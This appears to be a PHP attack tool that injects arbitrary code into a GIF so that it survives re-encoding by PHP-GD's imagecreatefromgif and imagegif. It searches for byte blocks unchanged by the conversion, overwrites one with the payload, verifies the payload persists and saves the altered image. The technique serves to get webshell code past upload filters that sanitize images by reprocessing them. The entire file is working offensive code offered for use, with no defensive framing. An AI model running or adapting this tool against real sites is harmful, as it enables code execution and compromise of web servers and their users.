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| <?php
function gd_process($src_img, $dst_img) {
try {
$im = imagecreatefromgif($src_img);
imagegif($im, $dst_img);
} catch (Exception $e) {
printf("%s\n", $e->getMessage());
return false;
}
return true;
}
function find_similar_block($src_img, $dst_img, $block_len, $slow=false) {
$src_data = fread(fopen($src_img, "rb"), filesize($src_img));
$dst_data = fread(fopen($dst_img, "rb"), filesize($dst_img));
$src_index = 0;
$pre_match_array = array();
while ($src_index < (strlen($src_data) - $block_len)) {
$find_data = substr($src_data, $src_index, $block_len);
$dst_index = 0;
$found = false;
while ($dst_index < (strlen($dst_data) - $block_len)) {
$temp_data = substr($dst_data, $dst_index, $block_len);
if (0 === strcmp($find_data, $temp_data)) {
$match = array(
"src_offset" => $src_index,
"dst_offset" => $dst_index
);
$pre_match_array[] = $match;
$found = true;
}
if ($found && $slow == false)
$dst_index += $block_len;
else
$dst_index++;
}
if ($found && $slow == false)
$src_index += $block_len;
else
$src_index++;
}
return $pre_match_array;
}
function inject_code_to_src_img($src_img, $pre_match_array, $injection_code) {
$src_data = fread(fopen($src_img, "rb"), filesize($src_img));
$inj_len = strlen($injection_code);
$find_n = 0;
foreach ($pre_match_array as $similar_block) {
$mod_src_data = substr($src_data, 0, $similar_block["src_offset"]).$injection_code.substr($src_data, $similar_block["src_offset"] + $inj_len);
$temp_img = sys_get_temp_dir()."/".$src_img.".mod";
$temp_cvt_img = $temp_img.".gd";
fwrite(fopen($temp_img, "wb"), $mod_src_data);
if (!gd_process($temp_img, $temp_cvt_img)) {
continue;
} else {
if (check_code($temp_cvt_img, $injection_code)) {
$fuck_img = "gd_".$src_img;
fwrite(fopen($fuck_img, "wb"), $mod_src_data);
printf("Inject code to source image successful with offset: %d\n", $similar_block["src_offset"]);
printf("Saving result \"%s\", have fun! :)\n", $fuck_img);
exit;
} else {
continue;
}
}
}
}
function check_code($src_img, $injection_code) {
$data = fread(fopen($src_img, "rb"), filesize($src_img));
return strpos($data, $injection_code);
}
function str2hex($str){
$hex = "";
for ($i = 0; $i < strlen($str); $i++){
$hex .= sprintf("%02x", (ord($str[$i])));;
}
return $hex;
}
function hex2str($hex){
$str = "";
for ($i = 0; $i < strlen($hex)-1; $i+=2){
$str .= chr(hexdec($hex[$i].$hex[$i+1]));
}
return $str;
}
if ($argc < 3) {
printf("Usage: php %s <src_img> <inj_code>\n", $argv[0]);
exit;
}
$slow = false;
$src_img = $argv[1];
$injection_code = $argv[2];
$img_info = getimagesize($src_img);
if ($img_info[2] == '1') {
$cvt_img = sys_get_temp_dir()."/".basename($src_img);
if (!gd_process($src_img, $cvt_img)) {
printf("PHP-GD process() function error, please check out.\n");
exit;
}
} else {
printf("This script only support GIF image.\n");
exit;
}
$block_len = strlen($injection_code);
$pre_match_array = find_similar_block($src_img, $cvt_img, $block_len, $slow);
if (sizeof($pre_match_array)) {
inject_code_to_src_img($src_img, $pre_match_array, $injection_code);
} else {
printf("Not found any similar %d bytes block.\n", strlen($injection_code));
}
printf("Cant find any useful similar block to inject code, but take it easy. :(\n");
|
